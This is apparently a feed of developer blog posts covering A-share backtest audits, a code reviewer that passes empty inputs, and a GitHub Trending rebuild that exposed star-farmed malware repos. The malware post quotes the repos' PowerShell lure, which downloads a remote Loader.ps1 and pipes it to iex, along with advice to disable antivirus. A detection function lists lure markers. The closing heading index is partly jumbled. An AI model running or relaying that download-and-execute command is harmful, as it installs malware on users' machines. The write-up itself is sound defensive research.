Pullback on shrinking volume (+0.03pp), range-bound (-0.10), uptrend (-0.15), with spreads under 1.25pp. Nothing there in either direction - they are the null hypothesis wearing a label.

What I changed in the screener

Rank on sign consistency first, magnitude second. A pattern that is wrong in a third of the halves it was chosen over is not a signal, it is a sample.
Trust the avoid side, discount the buy side. The two most sign-stable labels are both negative-expectancy ones. That asymmetry has been the most durable thing in this panel across three years of window.
Print the per-half firing count next to the average. A frequency that moves 6.8x is measuring the regime, not the setup.
Size by regime, not by conviction. If the same rule earns +2.0pp in one half and -0.3pp in another, position size has to be a function of which half you think you are in, and the honest answer is often "smaller".

Reproduce the ranking

The whole ranking is ~25 lines once the per-half table exists. This is the actual script that produced the tables above:

import json, statistics

d = json.load(open("alpha_by_half.json", encoding="utf-8"))
periods, pats = d["periods"], d["patterns"]
halves = list(periods)

rows = []
for name, per in pats.items():
    ex = [per[h]["excess"] for h in halves]
    rows.append({
        "pattern": name,
        "avg_excess": round(sum(ex) / len(ex), 2),
        "positive_halves": sum(1 for e in ex if e > 0),
        "spread": round(max(ex) - min(ex), 2),
        "std": round(statistics.pstdev(ex), 2),
        "rows": sum(per[h]["n"] for h in halves),
    })

for r in sorted(rows, key=lambda r: -r["positive_halves"]):
    print(f'{r["pattern"]:<8} avg={r["avg_excess"]:+6.2f} '
          f'pos={r["positive_halves"]}/6 spread={r["spread"]:>5.2f} '
          f'std={r["std"]:>5.2f} n={r["rows"]:>7}')

If you keep one habit from this post, make it this one: when a pattern only looks good as one averaged number, split the sample by time and re-rank by how many windows agree on the sign. It costs ten lines and it is the cheapest edge-destroying test I know.

Limitations, before you take any of this seriously

The window is a uniform 641 bars per name, so 2024H1 and 2026H2 are partial halves by construction. Six halves is six data points; sign consistency is a cheap robustness filter, not a significance test.
5-day forward returns, no transaction costs, no limit-up tradability filter - a pattern that fires on days you could not have bought at the close is not a trade, it is a row.
The panel is "names that still exist with enough history", which is a survivorship filter by construction, not an accident.
Per-half tables above are means. In the full-sample cut of the same study the medians sit well below the means for buy-side labels (volume breakout: mean -0.29%, median -1.3%), so means flatter the positive tail.
A-shares cannot be shorted in most accounts. The 6/6 signal is a don't add here signal. Do not read it as a short.

The screener these numbers come from is packaged as a skill on 虾评 (xiaping.coze.com) together with the A-share three-pillar screener, and the reproducible sibling tools from this series - the frozen-scan guard, the rule-binding audit, the de-AI linter - are MIT in the repo:

https://github.com/Felixwang007/awesome-content-tools

Panel and half-split study live in a private workspace; every number above is a direct read of alpha_by_half.json (cutoff 2026-09-28). Nothing here is investment advice - it is a report on what my own study does when I stop letting it average.

GitHub Trending Has No API. I Rebuilt It — and It Caught 4 Malware Repos Made Entirely of README Files

Felixwang007 — Mon, 05 Oct 2026 04:04:07 +0000

Two days ago my daily GitHub digest pipeline returned nothing.

Not "no results" — nothing. curl https://github.com/trending sat there for 19.4 seconds and returned HTTP 000. No redirect, no block page, no body. Just a dead socket. Trendshift.io answered HTTP 200 in the same minute — with 0 bytes, because it is a client-rendered SPA.

That is the state of "GitHub Trending" as a data source: one HTML page, no API, no fallback, and it can vanish from your network without telling you. So I rebuilt the digest on the Search API. Then the rebuild found something the Trending page would have shown me with a star count and no warning at all.

Rebuild v1: treat the Search API as a Trending proxy

There is no trending endpoint. The closest thing is a birth-window query, sorted by stars:

gh api "search/repositories?q=created:>2026-09-28&sort=stars&order=desc&per_page=25" \
  --jq '.items[] | "\(.stargazers_count)\t\(.full_name)\t\(.language)"'

That works, it is stable, and it is authenticated (5,000 req/h instead of 60). It is also not trending. Three blind spots, measured:

Blind spot 1 — absolute stars ≠ velocity

Run the same query on old repos and you get a monument, not a trend:

q=created:<2026-01-01+pushed:>2026-10-01+stars:>5000&sort=stars

486111  2016-03-20  public-apis/public-apis
456759  2014-12-24  freeCodeCamp/freeCodeCamp
398488  2013-10-11  EbookFoundation/free-programming-books
391330  2025-11-24  openclaw/openclaw
368876  2017-03-15  nilbuild/developer-roadmap

freeCodeCamp has 456,759 stars and zero relevance to "today". Sorting by raw stars answers "what is famous", not "what is moving". Trending is a derivative, and the Search API will not give you a derivative.

Blind spot 2 — the `created:>DATE` window can only see newborns

A 2019 repo that gained 800 stars today is genuinely trending and structurally invisible to a created:>7d filter. The only fix is to stop asking for trends and start computing them: snapshot the list daily, store (repo, stars, timestamp), and rank tomorrow by Δstars/day. That is a local diff problem, not an API feature.

Blind spot 3 — there is no hygiene signal, and stars are the cheapest thing to fake

The Search API ranks by one number. It tells you nothing about whether the repo contains code. I narrowed the window to 72 hours and looked at what came out.

What a 72-hour window surfaces

stars	repo	files	forks	description
939	`kargulstudio/sales-crm`	27	191	(none)
481	`ythx-101/live-panel-skill`	—	64	JSON-driven architecture diagrams
414	`BlackCrewmanFringe/AutoCad`	1	0	"professional desktop software utility…"
408	`Blockadezoshack/Microsoft-Project`	1	0	"optimizes professional workflow management…"
315	`AxeEradicate/Fps-Booster-for-Windows`	1	0	"Maximize your Windows PC's performance…"
212	`beachbladesmanloop/Hwid-Spoofer`	1	0	"optimizes performance and streamlines workflows…"

Four of the ten fastest-rising repos created in the last 72 hours contain exactly one file: a 2–4 KB README.md. Zero code, zero forks, zero releases, no license. The repo size field says 2 KB — that is the whole repository.

The four descriptions are LLM-written marketing prose for products ("AutoCAD", "Microsoft Project", "FPS Booster") that the repos obviously do not contain. The four repos were created on two days, in two clusters:

Blockadezoshack/Microsoft-Project       created 2026-10-04T11:37:45Z  pushed 11:37:50Z
BlackCrewmanFringe/AutoCad              created 2026-10-04T11:36:47Z  pushed 11:36:52Z
AxeEradicate/Fps-Booster-for-Windows    created 2026-10-03T11:18:49Z  pushed 11:18:54Z
beachbladesmanloop/Hwid-Spoofer         created 2026-10-03T11:19:06Z  pushed 11:19:13Z

Created and last-pushed five seconds apart. That is not a repository, that is a template render plus a git push.

The payload, and the proof it was seeded

All four READMEs point at the same URL. I only sent a HEAD request — I did not fetch or run anything:

https://ps-ps.cc/powershell/Loader.ps1   →  HTTP 200, resolves to 196.251.107.72

The READMEs wrap it in the standard lure: powershell -ExecutionPolicy Bypass -Command "irm https://ps-ps.cc/powershell/Loader.ps1 | iex", plus a troubleshooting section explaining how to pause real-time protection if your antivirus objects, and — my favorite detail — a section literally titled "Search Indexes & Organic Target Queries" that lists the SEO strings the repo is targeting. These repos are not built for humans. They are built to be discovered.

And they were. Here is the star-arrival distribution pulled from /repos/{repo}/events:

2026-10-04T11:13:48Z
2026-10-04T11:13:49Z
2026-10-04T11:13:49Z
2026-10-04T11:13:50Z
2026-10-04T11:13:50Z
...
2026-10-04T11:13:52Z     ← 100 WatchEvents, 4 seconds, all of them

100 stars in under 5 seconds, all from one burst, against 0 forks. A person who stars a repo almost never forks it; 100 stars and 0 forks on a 2 KB file is the signature of a star-farm API call, not 100 humans.

Two useful side findings from building this:

The documented way to get star timestamps — Accept: application/vnd.github.star+json on /repos/{r}/stargazers — returns 404, including for torvalds/linux. The stub that works is /events (WatchEvent stream, 90-day window).
stargazers_count is available in the repo payload, but starred_at is not, so burst detection always costs you an extra request per repo. Budget for it.

The control case: don't over-fit your filter

Narrow repos are not automatically scams. wy51ai/floorplan-3d is in my top 25: 1,394 stars, 5 files, one of which is a 185 KB index.html containing a complete 2D+3D floor-plan editor. Naive rule "few files = fake" would kill a legitimate project.

What separates them is not file count. It is forks plus arrival shape:

	`floorplan-3d` (legit)	`Hwid-Spoofer` (farmed)
stars	1,394	212
forks	287	0
README	feature list + screenshots	install script + "pause antivirus"
WatchEvents	93, spread across 3 days	100 in 4 seconds
license	MIT	none

The gate I run before a repo enters the digest

Every candidate now has to survive this. It costs one extra API call per repo and it would have rejected all four:

def hygiene(repo, events):
    # Return a list of failure reasons. Empty list == publishable.
    bad = []

    # 1. no code at all: 1-2 files and nothing but markdown
    if repo["files_at_root"] <= 2 and not repo["has_code_file"]:
        bad.append("no_code")

    # 2. stars without forks: organic traction forks
    if repo["forks"] == 0 and repo["stars"] > 150:
        bad.append("stars_without_forks")

    # 3. burst arrival: >30 watch events inside a 60s window
    if max_events_in_window(events, seconds=60) > 30:
        bad.append("star_burst")

    # 4. README tells the user to run a remote script / disable AV
    text = repo["readme"].lower()
    for marker in ("iex(", "invoke-expression", "executionpolicy bypass",
                   "real-time protection", "irm https://"):
        if marker in text:
            bad.append(f"lure:{marker}")
            break

    # 5. template repo: created and pushed within 5 minutes, one commit
    if (repo["pushed_at"] - repo["created_at"]).total_seconds() < 300:
        bad.append("template_dump")

    # 6. same download domain shared by repos created the same day
    if repo["payload_domain"] in repo["sibling_domains"]:
        bad.append("domain_cluster")

    return bad

Rule 6 is the one that generalizes. Individually each repo looks like a low-quality project; grouped by payload domain they collapse into one campaign with four fronts. Cluster on the URL, not on the repo.

What I'd ask GitHub for

starred_at inside the repo payload, so burst detection is free.
A real Trending API with a documented ranking formula, or at least a static JSON snapshot.
A star-count sanity signal in the Search API response — even something as blunt as stars_per_day_since_creation.
Restore /stargazers with the star+json media type, which is documented and currently 404s on every repo I tested.

The uncomfortable part

The digest exists to answer "what is the community excited about today?" It turns out that a stars-sorted list of anything — Trending, the Search API, your own aggregator — is a discovery surface, and discovery surfaces get farmed. The same properties that made these four repos cheap to build (README-only, no license, instant push) made them cheap to seed, and the payload author got 1,349 stars' worth of free distribution in under 48 hours for the cost of four git push calls.

If you build a trending digest, the hygiene gate is not a nice-to-have. It is the part that decides whether your feed is a signal or somebody else's distribution channel.

The audit gates and the snapshot-diff tooling live in my content tools repo alongside the earlier write-ups on agent self-check gates and rule-binding audits. I also publish the packaged versions of these utilities (container config doctor, environment drift checker, HTTP header auditor) on 虾评 — if you want the repo-hygiene gate as a drop-in package, that is where it lands next.

My Code Reviewer Scored a Nonexistent Directory 100/100 and Exited 0

Felixwang007 — Thu, 01 Oct 2026 04:01:42 +0000

Every skill package I ship — for Claude Code, Cursor, Codex, and a couple of agent marketplaces — has to clear one gate before publishing: its own selftest must exit 0.

So this week I ran an audit over the 34 packages sitting in my skills folder to find out how many actually have that gate. The audit broke twice, in two different ways. Both breakages are the same bug wearing different clothes, and it's the bug that makes agent tooling untrustworthy the moment you put it in CI:

a success signal that isn't attached to work actually done.

Here's the whole thing, including the raw output.

Pass one: the audit script

The script was not clever. Walk each package, find a script mentioning selftest, run python scripts/<script>.py selftest, read the exit code.

Result:

12 packages passed
5 packages "failed"
17 packages had no self-test at all

The five failures looked like this (output is Chinese, I'll translate):

FAKE(2) license-compliance-checker :: 错误: not a directory: ...\license-compliance-checker\selftest
FAKE(2) meeting-minutes-assistant   :: 找不到文件：selftest

error: not a directory: ...\selftest
file not found: selftest

Those five tools were fine. My harness was wrong. They implement the self-test as a --selftest flag, not as a positional subcommand. Five working self-tests (30/30, 54/54, 16/16, 40/40, 77/77 assertions) were reported as failures because the invocation contract was never part of the contract.

That's a false negative. Annoying, but it fails safe — the gate stays closed.

The bug that matters: 100/100 for a directory that doesn't exist

One of those five is a code-review tool. Called with a positional argument, it does not complain. It treats the argument as a path:

$ python scripts/code_review.py selftest
跳过不存在的路径: selftest
# 代码审查报告
- 审查范围: 0 个文件，0 行
- 发现问题: 0 个（致命 0 / 高 0 / 中 0 / 低 0）
- 健康分: 100/100 — ✅ 可以合并（按低优先级项择机清理）
EXIT=0

skipped nonexistent path: selftest
# Code review report
- scope: 0 files, 0 lines
- findings: 0 (critical 0 / high 0 / medium 0 / low 0)
- health score: 100/100 — ✅ safe to merge
EXIT=0

Read that again. The tool skipped a path that doesn't exist, scanned zero files, handed out a perfect score and the string "safe to merge", and returned success.

Its actual --selftest works fine — 54 assertions, 38 rules, 23 of them firing on dirty samples. The bug only shows up in scan mode, and only when the input is empty, missing or malformed. Which is exactly the state a path variable is in when a shell glob expands to nothing, a CI job runs on a docs-only diff, or an agent passes the wrong parameter name.

Now imagine the two ways this gets wired up:

code_review.py --selftest && deploy — fine.
code_review.py $CHANGED_FILES — with $CHANGED_FILES empty, you get "100/100, safe to merge" on a diff nobody looked at, green pipeline, exit 0.

And if there's an LLM agent on top reading that output, it will faithfully report "review passed." Not because the model is sloppy — because the tool lied first.

"Nothing wrong" and "nothing examined" are not the same result, and a tool that returns the same status for both cannot be part of a gate.

What the audit measured, precisely

Across 34 packages:

self-test contract	packages
`--selftest` flag	5
`selftest` positional subcommand	12
no self-test	17

Two conventions in one folder. Any harness that guesses will produce false negatives (safe) and — the dangerous half — false positives, since a wrong invocation is silently treated as data rather than as an error. That's not a hypothetical: it's the output above.

Assertion counts in the 17 that do have a self-test: 129, 85, 77, 71, 54, 44, 44, 40, 30, 26, 21, 19, 18, 16, 15, 12, plus one boolean PASS. About 700 assertions total, and the useful ones are all two-sided:

positive cases — the check fires on a known-bad sample
negative cases — the check stays silent on a known-good sample

Without the second half, a linter that flags everything looks perfect. Without the first half, a linter that flags nothing looks perfect. Exit-code-only gates cannot tell those apart.

Concrete, from the 129-assertion SQL inspector:

DROP TABLE is a finding; DROP TABLE IF EXISTS is not.
'no where clause here' inside a string literal is not a missing WHERE clause.
SELECT * inside a comment is not a finding.
os.environ["DB_PASSWORD"] is not a hardcoded credential; a literal password is.
BEGIN ... END in a PL/pgSQL function body is not an unclosed transaction.

Every one of those negative cases exists because the naive version of the rule got it wrong first.

Five rules for a gate that can't lie

Assert on work done, not on exit status. Zero files scanned, zero rules run, zero tokens in — all need a distinct non-success status. "No input" ≠ "input clean."
One documented self-test command per package. Write the exact command in the package's SKILL.md, and have the harness read it from metadata instead of pattern-matching the source. Guessing is how you get the false negative; silent acceptance is how you get the false positive.
Break an assertion on purpose. A self-test nobody has seen fail is a print statement. Delete one rule, run the self-test, confirm it exits non-zero. Do this once per release, not once per project.
Every check gets a positive and a negative case. One dirty sample, one clean sample, both asserted. This is the difference between a test suite and a smoke test.
The publish/deploy step runs the gate itself and hard-fails. My publish scripts run the self-test before zipping and refuse on a non-zero exit; the numbers and the exact commands are recorded in an evaluation_cases.md next to the source. A gate that trusts a previous run's report is not a gate.

And one more, because it's the failure mode I keep hitting: state what the tool does not do. The review tool prints "static rules can only disprove, not prove — still verify permissions, concurrency and money precision by hand." That sentence is the most honest thing in the package. A gate that doesn't declare its blind spots gets trusted for them.

The remaining 17

Adding self-tests to them is mechanical now — the templates exist, and the ones already done took about an hour of real assertions each, not real research. I'm starting with the packages that get wired into automation, because a missing self-test in a package nobody runs is a backlog item, while a zero-input success path in a pre-commit hook is an incident waiting for a quiet Friday.

If you maintain skills, MCP servers, or CLI wrappers that agents call: the highest-value 30 minutes you can spend today is running your tool with an empty input and reading what it says. If it says "safe," "passed," or "0 issues," you've found the bug.

Where this stuff lives

Write-ups and tool notes: https://github.com/Felixwang007/awesome-content-tools
Supply-chain audit for agent tooling (5 static checks to run before installing the trending repo): https://github.com/Felixwang007/agent-supply-chain-audit
The packaged skills, if you'd rather grab them than build them: https://xiaping.coze.com

If you've hit a zero-input success path in a tool you rely on, I'd like the exact output — that's the most useful kind of bug report.

I Fixed Two Bugs in My A-Share Backtest. 47x of the Edge Vanished, and Every 'Buy' Pattern Went Negative

Felixwang007 — Thu, 24 Sep 2026 12:57:59 +0000

TL;DR — I rebuilt my Chinese A-share signal study on 3,145 main-board stocks × 622
trading days (2024-01-26 → 2026-09-18) = 904,775 pattern-labelled stock-days, using free
data. Two measurement bugs were inflating the results. After fixing them, none of the six
classic chart patterns beat the equal-weight universe. The only statistically solid
signals left were the two avoidance ones.

This is the follow-up to my earlier volume study
that flipped sign between two consecutive months. Same rule: publish the number even when
it kills the story I wanted to tell.

What I built

Data: daily K-lines for 3,145 Shanghai/Shenzhen main-board names, pulled from Tencent's free
endpoint — no key, no vendor, ~0.2 s per stock:

https://web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600000,day,,,640,qfq

Six patterns, each defined by measurable conditions (not by the name a newsletter gives it):

pattern	condition
Breakout+Volume	close > prior 20-day high and volume ratio ≥ 1.5
HighLevelVolumeDrop	in the top 30% of its 20-day range, day ≤ −3%, volume ratio ≥ 1.3
OversoldRebound	MA5 < MA20, 20-day return ≤ −15%, day > +2%, volume ratio ≥ 1.2
LowVolPullback	MA5 > MA20, down day, volume ratio ≤ 0.85
Uptrend	MA5 > MA10 > MA20 and close > MA20
Sideways	20-day range < 8% and

Label = forward 5-trading-day return. The rules are ported verbatim from the labelled set I
use to fine-tune my own model, and I checked the port: 5,998 of 6,000 randomly sampled
labelled rows reproduce exactly (99.97%), so the labels here and the labels in the model's
training data agree.

Bug #1 — the ragged panel invents market days

Concatenating one file per stock gives 6,487 distinct dates. Only 622 of them are real
market days; the other 5,870 are phantom "sessions" where one or two stale or delisted
files traded (median 4 rows). Averaging over them moved conclusions a lot:

pattern            clustered (622 real days)     over all dates incl. phantom
Uptrend            +0.191%   t=+1.47             +0.526%   t=+5.66
LowVolPullback     +0.317%   t=+2.29             +0.546%   t=+5.48
Sideways           +0.322%   t=+3.11             +0.020%   t=+0.28

An "uptrend continuation edge" with t=+5.7 turned into t=+1.5 — i.e. nothing — purely from
stale single-name dates. Guard: a date only counts if ≥500 universe members have a defined
20-day MA that day.

Bug #2 — one session is not 200 independent samples

This is the bigger one. Stock-days inside a session are highly correlated: a market-wide
bounce lifts hundreds of "oversold rebound" names at once.

Raw row-level average for oversold-rebound setups on days when >60% of the market was above
its 20-day MA: +11.35%, 67.8% win rate, 374 rows. Same data, one observation per day
instead of one per row: +0.65%. Two sessions carried the whole thing — 2026-07-31
(222 names, +14.25% average) and 2026-08-04 (34 names).

The fix is five lines:

per_day = {}
for r in rows:
    per_day.setdefault(r["date"], []).append(r["fwd5"])

day_means = [statistics.fmean(v) for v in per_day.values()]
mean = statistics.fmean(day_means)
t = mean / (statistics.stdev(day_means) / len(day_means) ** 0.5)   # n = DAYS, not rows

What survived both fixes

Mean of per-day means, forward 5 days, 2024-01 → 2026-09:

pattern	days	rows	fwd 5d	t	naive row-level mean
Sideways	603	175,338	+0.322%	+3.11	+0.425%
LowVolPullback	615	231,310	+0.317%	+2.29	+0.526%
Uptrend	617	401,002	+0.191%	+1.47	+0.362%
OversoldRebound	462	5,934	+0.033%	+0.10	+1.547%
Breakout+Volume	617	59,352	−0.432%	−2.84	−0.289%
HighLevelVolumeDrop	608	7,151	−1.557%	−6.30	−1.152%

Note the last column: the oversold-rebound row-level mean is 47× its clustered value.
That 47× is the most common backtest lie on the internet.

The test that killed the bullish patterns

A positive raw return does not mean the pattern works — it may just mean the market went up.
So subtract the same-day equal-weight universe return from every row:

pattern	excess fwd 5d	t
HighLevelVolumeDrop	−1.958%	−9.84
Breakout+Volume	−0.843%	−8.54
OversoldRebound	−0.361%	−1.39
Uptrend	−0.220%	−3.95
LowVolPullback	−0.117%	−2.18
Sideways	−0.065%	−0.94

Not one bullish pattern beat just holding the basket. Every positive number in the
previous table was market beta — including "buy the uptrend" and "buy the pullback". What
survives is only what you should avoid: a high-level drop on heavy volume, and chasing a
volume breakout.

The one filter that did move the needle: breadth

Because beta is the whole game, the market's own breadth is the useful variable. I built a
gauge: share of the universe trading above its own 20-day MA, once per day, from all
3,145 names.

Using that as a regime filter on the equal-weight universe (next 5 trading days):

breadth bucket	days	next-5d equal-weight	t	up-days
<20%	68	+0.80%	+2.22	63.2%
20-40%	163	−0.50%	−1.87	46.6%
40-60%	160	+0.93%	+3.51	60.6%
60-80%	143	+0.36%	+1.86	58.7%
>80%	83	+0.97%	+2.03	59.0%

Both tails are positive; the dead zone is 20-40% — and that is exactly where the market
sat at the end of this sample (2026-09-18: 32.63% above MA20, 28th percentile of 622
days).

Inside that band, no pattern has positive expectancy:

breadth 20-40%:  high-level volume drop  -2.92% (t-5.5)
                 breakout + volume       -1.35% (t-4.7)
                 oversold rebound        -1.81% (t-3.4)
                 low-volume pullback     -0.86% (t-3.0)
                 uptrend                 -0.80% (t-3.3)
breadth 40-60%:  low-volume pullback     +0.96% (t+3.5)
                 uptrend                 +0.73% (t+2.8)
                 sideways                +0.76% (t+3.6)

The year split (2024 / 2025 / 2026) keeps the sign of the 40-60% bucket in all three years
(+1.1 / +1.1 / +0.5), so that middle band is not one lucky stretch. The tails move around.

How I use this now

Benchmark against the day's equal-weight return, not against zero. Half the "edges" in retail technical analysis are just exposure.
Cluster before you compute a t-stat. If your study has 400 rows but 8 effective days, you have 8 observations.
Guard the panel. A minimum-names-per-day rule catches stale files before they become "evidence".
Sell signals are more robust than buy signals here. Two of two avoidance patterns survived with |t| > 6; zero of four bullish ones did.

Caveats

Main board only (no ChiNext / STAR / BSE), 2024–2026 sample, no transaction costs, no T+1
fill modelling, overlapping 5-day windows (so the t-stats are optimistic, not
conservative), and I inspected dozens of signal × regime cells — at that count some t≈2
values are noise. Treat this as a measurement lesson, not a trading system.

Reproduce it

Everything is one script against free data — no API key:

# one JSON per stock: [{date,open,high,low,close,volume}, ...]
python breadth_gauge.py path/to/history_ext

→ github.com/Felixwang007/a-share-signal-lab — breadth_gauge.py (builds the gauge and
every number above), breadth_gauge.json (622 days of breadth), breadth_stats.json (the
tables), plus the earlier volume study.

If you want this kind of data-audit tooling packaged for an AI coding agent to run for you,
I publish skills for that on 虾评 — but the honest version of the
finding lives in the repo above, where you can recompute it yourself.

DEV Community: Felixwang007

My 'Three-Pillar' Stock Scorer Had a Negative IC. The Only Pillar That Worked Was Mislabeled.

The setup

Result: the signs are wrong

The decile table is the part that stings

Finding 2: the pillars were independent, and that made it worse

Finding 3: the only pillar that worked isn't fundamentals

Finding 4: a pillar that emits zeros isn't a pillar

The stale-cache bug I found on the way

What I ship now instead of a three-pillar sum

Limits of this audit, stated plainly

My 'Updated Every 6 Hours' Site Served 45-Day-Old Data. GitHub Never Failed Once.

The failure was an absence, not an error

The timeline, to the hour

The detail that proves it isn't my code

Why nothing alerted me

The signal was there the whole time

The fixes, ranked by how much I trust them

The shape of this bug is everywhere

5,191 A-Share Stocks, One Number: Breadth Went 13% to 42% in Four Sessions. My Backtest Says Do Not Trade That Pattern.

5,191 A-Share Stocks, One Number: Breadth Went 13% → 42% in Four Sessions. My Backtest Says Don't Trade That Pattern.

The data

Finding 1: the bad place is not panic

Finding 2: days are not observations

Finding 3: today's pattern is the one that disappeared entirely

Where today sits

Rules I now apply to any breadth claim (mine included)

My Linter Scored 26% on Its Home Corpus and 0% on Docs — the Calibration Rule I Ship With Now

The experiment that killed my confidence

Rule I ship with now: precision belongs to a corpus, not to a rule

Three more false positives I had to buy back

The same disease, non-code edition

Checklist for anyone building validators that an agent will run

My Star-Farm Detector Flagged 7 of 40 Trending Repos. All 7 Matched the Word "confirm".

The pipeline, in one paragraph

Layer 1: the bug — irm\s+ matches "conf*irm *"

Layer 2: the signature I published three weeks ago is gone

What replaced it, in today's sample

What I changed in the pipeline

The tool and the raw numbers

My A-Share Screener Fired 6,548 Times. 85% Came From 11 Months — and My New Filter Was Noise

The setup

All six patterns on the same window

The filter I was about to ship

Why individual signals lie: 6,548 samples, 11 months

What actually did change

A data-hygiene bug that produced a fake +200% signal count

What the screener does now

The code

Everyone Says Volume Confirms a Gap-Up. 1.9 Million A-Share Stock-Days Say the Opposite.

What I measured

1. Gap size alone

2. Gap × volume ratio — the sign flips

3. Is the mean lying? (fat-tail audit)

4. Gap-downs: no knife-catching edge

One live session: 2026-10-22

Why this probably isn't a bug

What I am not claiming

Reproduce it

I Built a Frozen-Scan Detector. A Week Later It Fires Daily — and Nothing Consumes It

The pipeline

What "success" was measuring

Fingerprint the answer, not the activity

One week later: the detector is right, and irrelevant

Rules I now apply to any scheduled analysis job

The detector

I Split My A-Share Signal Study Into 6 Time Halves. The Top-Return Pattern Held in 4 of Them - a "Stay Out" Signal Went 6 for 6

The panel and the labels

Why the same-half baseline has to come out

The six halves, excess in percentage points

1. The only perfect 6/6 record belongs to the signal that says stay out

2. The trade retail loves most is negative in 5 of 6 halves

3. The best average came from the least stable pattern

4. Three labels are just the market

What I changed in the screener

Reproduce the ranking

Limitations, before you take any of this seriously

GitHub Trending Has No API. I Rebuilt It — and It Caught 4 Malware Repos Made Entirely of README Files

Rebuild v1: treat the Search API as a Trending proxy

Blind spot 1 — absolute stars ≠ velocity

Layer 1: the bug — `irm\s+` matches "confirm "

Blind spot 2 — the `created:>DATE` window can only see newborns